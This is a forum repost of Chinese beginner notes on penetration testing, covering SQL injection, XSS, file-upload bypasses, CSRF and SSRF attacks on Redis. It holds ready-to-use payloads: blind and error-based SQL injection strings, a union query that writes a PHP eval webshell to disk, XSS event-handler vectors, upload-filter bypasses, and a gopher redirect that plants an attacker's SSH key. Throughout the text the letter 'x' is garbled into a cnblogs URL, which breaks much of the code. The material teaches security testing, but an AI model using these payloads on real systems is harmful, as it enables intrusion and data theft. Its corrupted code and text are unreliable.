ToB企服应用市场:ToB评测及商务社交产业平台

标题: 入门必看——渗透测试基础知识笔记 [打印本页]

作者: 傲渊山岳    时间: 2023-8-2 12:19
标题: 入门必看——渗透测试基础知识笔记
SQL注入

sql注入的原理

sql 注入攻击是通过将恶意的 sql 查询或添加语句插入到应用的输入参数中,再在后台 sql 服务器上解析
执行进行的攻击
sql注入的分类

头部注入(ua,cookie,referer)
联合注入
报错注入
布尔盲注
时间盲注
堆叠注入宽字节注入
布尔注入原理

布尔盲注:根据注入信息返回true or fales 没有任何报错信息
时间盲注:界面返回值ture 无论输入任何值,返回的情况都是正常的来处。加入特定的时间函数,通过
查看web页面返回的时间差来判断注入的语句是否正确。
常用函数
  1. length(str):返回str字符串的长度。
  2. substr(str, pos, len):将str从pos位置开始截取len长度的字符进 行返回。注意这里的pos位置是从1开始的,不是数组的0开始
  3. mid(str,pos,len):跟上面的一样,截取字符串
  4. ascii(str):返回字符串str的最左面字符的ASCII代码值。
  5. ord(str):同上,返回ascii码
  6. if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
复制代码
查询语句
  1. 1.首先我们需要判断数据库长度
  2. ' or Length(database()) = 8 #返回true说明数据库长度为8
  3. 2.获取数据库名字
  4. ' or ord(mid(database(),1,1)) ='ascill值'#
  5. 依次获取
  6. 3.获取表的总数
  7. ' or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() )= 2#
  8. 4.获取表的长度(第一个表)
  9. ' or (select length(TABLE_NAME) from information_schema.TABLES where
  10. TABLE_SCHEMA=database() limit 0,1 )= (猜测得长度)#
  11. 5.获取表的内容
  12. ' or mid((select TABLE_NAME from information_schema.TABLES where
  13. TABLE_SCHEMA=database() limit 0,1),1,1) = 'a' #
  14. 6.获取表的字段的总数
  15. ' or (select count(COLUMN_NAME) from information_schema.COLUMNS where
  16. TABLE_NAME=表名 ) = 8#8返回true说明有8个表
复制代码
时间盲注函数
  1. RLIKE
  2. 通过 rpad 或 repeat 构造长字符串,加以计算量打的 pattern,通过 repeat 的参数可以控制延时长短
  3. sleep(duration)
  4. 睡眠时间为 duration 参数给定的秒数,然后返回0;若函数被中断,返回1。
  5. BENCHMARK(count, ehttps://www.cnblogs.com/xpr)
  6. 重复 count 次执行表达式 ehttps://www.cnblogs.com/xpr。
  7. 可以被用于计算 MySQL 处理表达式的速度
  8. 结果值通常为0
  9. 笛卡尔积
  10. SELECT count(*) FROM information_schema.columns A, information_schema.colums B,
  11. information_schema.colums C;
  12. 通过复杂的运算达到延时
  13. GET_LOCK(str, timeout)
  14. 使用字符串 str 给定的名字得到一个锁,超时为 timeout 秒
  15. 局限:当前会话不会生效,只有新会话开启,并且保持长连接( mysql_pconnect函数来连接数据库),才能生效
复制代码
报错注入函数

updatehttps://www.cnblogs.com/xml():是mysql对https://www.cnblogs.com/xml文档数据进行查询和修改的https://www.cnblogs.com/xpath函数
ehttps://www.cnblogs.com/xtractvalue():是mysql对https://www.cnblogs.com/xml文档数据进行查询的https://www.cnblogs.com/xpath函数
  1. and (ehttps://www.cnblogs.com/xtractvalue(1,concat(0https://www.cnblogs.com/x7e,(select user()),0https://www.cnblogs.com/x7e)));
  2. and (updatehttps://www.cnblogs.com/xml(1,concat(0https://www.cnblogs.com/x7e,(select user()),0https://www.cnblogs.com/x7e),1));
复制代码
MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,MySQL 5.1.5版本以下**的不能上述函
数进行报错注入
并且,上述报错注入函数有字符限制,最长32位
虚拟表主键重复报错注入
报错注入的原因是group by在向临时表插入数据时,由于rand ()多次计算导致插入临时表时主键重复,
从而报错,又因为报错前concat ()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL
语句或函数执行后的结果。
floor() + rand() + group by
  1. select count(*) from information_schema.tables group by
  2. concat(version(),floor(rand(0)*2));
复制代码
ehttps://www.cnblogs.com/xp():此函数返回e(自然对数的底)指数X的幂值,整数溢出报错
  1. and ehttps://www.cnblogs.com/xp(~(select * from(select user())a));
复制代码
geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()
函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错
宽字节注入原理

像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节
宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次
编码。在使用PHP连接MySQL的时候,当设置“character_set_client = gbk”时会导致一个编码转换的问
题,也就是我们熟悉的宽字节注入
宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有
两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)
常见转义函数:
1.replace():过滤 ' \ ,将 ' 转化为 ' ,将 \ 转为 \,将 " 转为 " 。用思路一。
2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:' , " , \ 。用思路一
(防御此漏洞,要将 mysql_query 设置为 binary 的方式)
3.mysql_real_escape_string():转义下列字\https://www.cnblogs.com/x00 \n \r \ ' " \https://www.cnblogs.com/x1a
sql注入的bypass

绕过空格
注释符/* */,tab,%a0,括号
引号绕过
使用十六进制
逗号绕过
在使用盲注的时候,需要使用到substr(),mid),limit。这些子句方法都需要使用到逗号。
对于substr()和mid()这两个方法都可以使用from to方式来尝试绕过:
  1. Select substr(database() from 1 for 1);
  2. Select mid(database() from 1 for 1);
复制代码
使用join:
  1. Union select1,2 等价于  union select * from(select 1)a join (select 2)b
复制代码
使用like:
  1. Select ascii(mid(user(),1,1))=80 等价于 select user() like'r%'
复制代码
对于limit可以使用offset来绕过:
  1. Select * from news limit 0,1 等价于 select * from news limit 1 offset 0
复制代码
比较符号()绕过:
Greatest(): 返回最大值
使用N个参数,并返回N个参数中的最大值
  1. Greatest(value1,value2,...)
复制代码
Least(): 返回最小值
上面两个函数的比较规则:
  1. 如果任何参数为NULL,则两个函数都将立即返回NULL,不进行任何比较
  2. 如果在INT或REAL上下文中使用函数,或者所有参数都是整数值或REAL值,那么他们将分别作为INT或REAL来比较
  3. 如果参数有数字和字符串组成,则函数将他们作为数亨比较
  4. 如果至少有一个参数是非二进制(字符)字符串,则函数将参数作为非二进制字符串来比较在所有其他情况下,函数将作为二进制字符串进行比较
复制代码
=绕过(like、rlike、regehttps://www.cnblogs.com/xp,)
Or and https://www.cnblogs.com/xor not绕过(And == &&,Or == ||,Xor = |,Not = !)
sql注入的防御

采用一些过了函数过滤,或者黑白名单,还有就是预编译
预编译的原理
通俗的讲,预编译防止SQL注入的原理是提前编译SQL语句,将所有的用户输入都当做『数据』,而非
『语法』,来防止sql语句的执行从而防止sql注入(发生在后端)
缺点:
在PHP 5.3.6之前,PDO确实存在宽字节注入的问题
sql写文件利用

条件
secure_file_priv=空
知道网站绝对路径
有读写权限(或者有root权限最好)
读取文件:load_file()
  1. id=-1' union select 1,load_file('C:\\phpStudy\\PHPTutorial\\MySQL\\my.ini'),2 ---
复制代码
写入文件:使用函数:Into Outfile(能写入多行,按格式输出)和Into Dumpfile (只能写入一行且没
有输出格式)
  1. 1')) union select 1,'<?php eval($_REQUEST[23]); ?>',3 into outfile 'D://1.php' ---
复制代码
不能直接写一句话木马可以尝试使用file_put_contents函数写日志,再日志包含写文件
mysql8新特性注入

VALUES关键字
VALUES是把一组一个或多个行作为表展示出来,返回的也是一个表数据。
TABLE关键字
TABLE始终显示表的所有列
TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句
XSS

https://www.cnblogs.com/xss原理

恶意攻击者往Web页面
里插入恶意JS代码,当用户浏览该页之时,嵌入其中Web里面的JS代码会被执行,从而
达到恶意的特殊目的。
https://www.cnblogs.com/xss分类

1.反射型
非存储型,就是通过get或者post请求时,被后端处理过数据,并且响应到前端页面上
2.存储型
XSS代码被存储到服务器上的数据库里的某张表的字段里,或者页面,或者某个上传文件里
3.DOM型
仅仅在前段页面进行DOM树节点的修改操作的
https://www.cnblogs.com/xss常利用标签
  1. <img src=1 onerror=alert("https://www.cnblogs.com/xss");>
  2. <input onfocus="alert('https://www.cnblogs.com/xss');">
  3. //竞争焦点,从而触发onbiur事件
  4. <input onblur=alert('https://www.cnblogs.com/xss') autofocus><input autofocus>
  5. //通过 autofocus 属性执行本身的focus事件,这个向量是使焦点自动跳转到输入元素上,触发焦点事
  6. 件,无需用户去触发
  7. <input onfocus="alert('https://www.cnblogs.com/xss');"autofocus>
  8. <details ontoggle="alert('https://www.cnblogs.com/xss');"></details>
  9. // 使用open属性触发ontoggle事件,无需用户去触发
  10. <details open ontoggle="alert('https://www.cnblogs.com/xss');"></details>
  11. <svg onload="alert('https://www.cnblogs.com/xss')"></svg>>
  12. <select onfocus=alert('https://www.cnblogs.com/xss')></select>
  13. // 通过autofocus 属性执行本身的focus事件,这个向量是使焦点自动跳转到输入元素上,触发焦点事
  14. 件,无需用户去触发
  15. <select onfocus="alert('https://www.cnblogs.com/xss')" autofocus></select>
  16. <iframe onload=alert("https://www.cnblogs.com/xss");></iframe>
  17. <video><source onerror="alert('https://www.cnblogs.com/xss')"></video>
  18. <audio src="https://www.cnblogs.com/x" onerror=alert('https://www.cnblogs.com/xss');></audio>
  19. <body onload=alert('https://www.cnblogs.com/xss');></body>
复制代码
防范https://www.cnblogs.com/xss攻击的方式

防范XSS攻击行为,一般有三种方式,一是对输入内容和URL参数进行过滤,二是对动态输出的内容进行
编码,使该脚本无法生效。三是对Cookie设置`http-only使js无法对Cookie进行操作。(需要在HTTP头
部配上,set-cookie: http-only 这个属性可以 防止XSS,它会禁止javascript脚本来访问cookie
文件上传

文件上传漏洞原理

上传的文件能够被web容器解释执行。所以文件上传后所在的目录要是web容器所覆盖到的路径。
其次,用户能够从web访问这个文件。
文件上传漏洞bypass

一般都是在网页上写一段 javascript 脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。判
断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框
黑名单绕过

这里修改文件名字后,请求头中的 Content-Length 的值也要改。
(1)黑名单检测:一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件。
绕过方法:
  1. (1)找黑名单扩展名的漏网之鱼 - 比如 iis6.0 中的 asa 和 cer
  2. (2)可能存在大小写绕过漏洞 - 比如aSp(iis6.0 中可以)和 pHp(只能在小于php5.3.39 中的 linuhttps://www.cnblogs.com/x 中)之中
  3. (3)能被web容器解析的文件其他扩展名列表:jsp,jsphttps://www.cnblogs.com/x,jspf,asp,asa,cer,cdhttps://www.cnblogs.com/x,htr,https://www.cnblogs.com/xml,html,asphttps://www.cnblogs.com/x,ashhttps://www.cnblogs.com/x,asmhttps://www.cnblogs.com/x,asahttps://www.cnblogs.com/x,aschttps://www.cnblogs.com/x
复制代码
(2)黑名单特殊后缀名绕过(利用难度高)
将Burpsuite截获的数据包中backlion.php名字改为 baclion.php4(php1,php2,php3,php4,php5), 前提
条件是 http.conf 中设置 AddType application/https://www.cnblogs.com/x-httpd-php .php1(php 的版本小于等于 5.3.29 以下)
(3)单双重后缀名绕过
上传时将 Burpsuite 截的数据包中文件名 backlion.php(backlion.asa)改 为
backlion.pphphph(backlion.asasaa),那么过滤了第一个"php"字符串"后, 开头的'p'和结尾的'hp'就组
合又形成了 php
(4)服务端 MIME 文件类型(Content-Type)绕过
白名单绕过

(1)配合web容器的解析漏洞:
IIS中的目录解析漏洞和分号解析漏洞 :
将一句话木马的文件名 backlion.php,改成 backlion.php.abc(奇怪的不被解析的后缀名都 行)。首先,
服务器验证文件扩展名的时候,验证的是.abc,只要该扩展名符合服务器端黑白名单觃则,即可上传。
nginhttps://www.cnblogs.com/x 空字节漏洞 https://www.cnblogs.com/xhttps://www.cnblogs.com/xhttps://www.cnblogs.com/x.jpg%00.php 这样的文件名会被解析为php代码运行。
apache 的解析漏洞,上传如 a.php.rar a.php.gif 类型的文件名,可以避免 对于php文件的过滤机制,
但是由于 apache 在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar 等扩展名
是 apache 不能识别的, 因此就会直接将类型识别为 php,从而达到了注入php代码的目的。
(2)%00 截断上传绕过
通过抓包截断将 backlion.asp.jpg 后面的一个.换成%00 在上传的时候即 backlion.asp%00.jpg,当文件
系统读到%00 时,会认为文件已经结束,从而将 backlion.asp.jpg 的内容写入到 backlion.asp 中,从而
达到攻击的目的。%00 不是针对所有基于白名单的后缀名检查都能绕过,代码的实现过程中必须存在截
断上传漏洞,上传格式如下:bk.asp%00.jpg
(3)文件头内容检测绕过
文件头简介
不同的图片文件都有不同文件头,如: PNG:文件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A JPEG:
文件头标识 (2 bytes): 0https://www.cnblogs.com/xff, 0https://www.cnblogs.com/xd8 (SOI) (JPEG 文件标识) GIF:文件头标识 (6 bytes) 47 49 46 38 39(37)
61 上传文件的时候会检查上传文件是否合法,如图片文件是否文件头含有 gif89, 这里可以通过一句话图
片木马生成工具 edjpgcom 戒者通过编辑器在木马内容基础上再加了一些文件信息,有点像下面的结构:
文件上传防御

CSRF

CSRF的原理

攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成
了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚
至于购买商品、虚拟货币转账等。
CSRF的检测

最简单的方法就是抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那
么基本上可以确定存在CSRF漏洞。
以CSRFTester工具为例,CSRF漏洞检测工具的测试原理如下:使用CSRFTester进行测试时,首先需要
抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在CSRFTester中修改相应的表
单等信息,重新提交,这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受,
则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。
CSRF的防御

目前防御 CSRF 攻击主要有三种策略:
在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参
数的形式加入一个随机产生的 token(可以是JWT),并在服务器端建立一个拦截器来验证这个 token,
如果请求中没有 token 或者 token 内容不正确
SSRF

ssrf原理

1.服务端提供了从其他服务器应用获取数据的功能
2.没有对目标地址做过滤与限制
比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载文件等等
ssrf漏洞发现

具体可能出现SSRF的地方:
​        1.社交分享功能:获取超链接的标题等内容进行显示
​        2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
​        3.在线翻译:给网址翻译对应网页的内容
​        4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
​        5.图片/文章收藏功能:主要网站会取URL地址中title以及文本的内容作为显示以求一个好的用户体验
​        6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以
进行SSRF测试
​        7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
​        8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
​        9.邮件系统:比如接收邮件服务器地址
​        10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,dochttps://www.cnblogs.com/x,pdf,https://www.cnblogs.com/xml处理器等
​        11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏
洞,一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、
sourceURl、imageURL、domain……
​        12.从远程服务器请求资源(upload from url 如discuz!;import & ehttps://www.cnblogs.com/xpost rss feed 如web blog;使
用了https://www.cnblogs.com/xml引擎对象的地方 如wordpress https://www.cnblogs.com/xmlrpc.php)
ssrf验证

1、因为SSRF漏洞是构造服务器发送请求的安全漏洞,所以我们可以通过抓包分析发送的请求是否是由
服务器端发送的来判断是否存在SSRF漏洞
2、在页面源码中查找访问的资源地址,如果该资源地址类型为http://www.https://www.cnblogs.com/xhttps://www.cnblogs.com/xhttps://www.cnblogs.com/x.com/a.php?image=(地
址)的可能存在
ssrf漏洞利用

未授权打redis
SSRF 攻击的话并不能使用 redis-cli 来连接 Redis 进行攻击操作,未授权的情况下可以使用 dict 或者
gopher 协议来进行攻击,因为 gopher 协议构造比较繁琐,建议直接使用 DICT 协议
  1. dict://https://www.cnblogs.com/x.https://www.cnblogs.com/x.https://www.cnblogs.com/x.https://www.cnblogs.com/x:6379/<Redis 命令>
复制代码
有认证打redis
配合本地文件包含先成功读取到 /etc/redis.conf 配置文件,直接搜索 requirepass关键词来定位寻找密

302重定向打redis
利用web服务上的SSRF漏洞访问在另一台服务器上的302跳转,302跳转的Location 数据为:
gopher://127.0.0.1:6379/_[Redis伪造数据],Redis伪造的数据为向 /root/.ssh/保存authorized_keys文
件,文件内容为攻击机的SSH公钥。这样攻击机就可通过SSH直接连接漏洞机。
当返回302时,只是临时重定向,浏览器不会缓存数据
在自己的服务器上写302 跳转
在另一台自己的服务器上写一个302 重定向的代码
[code]




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4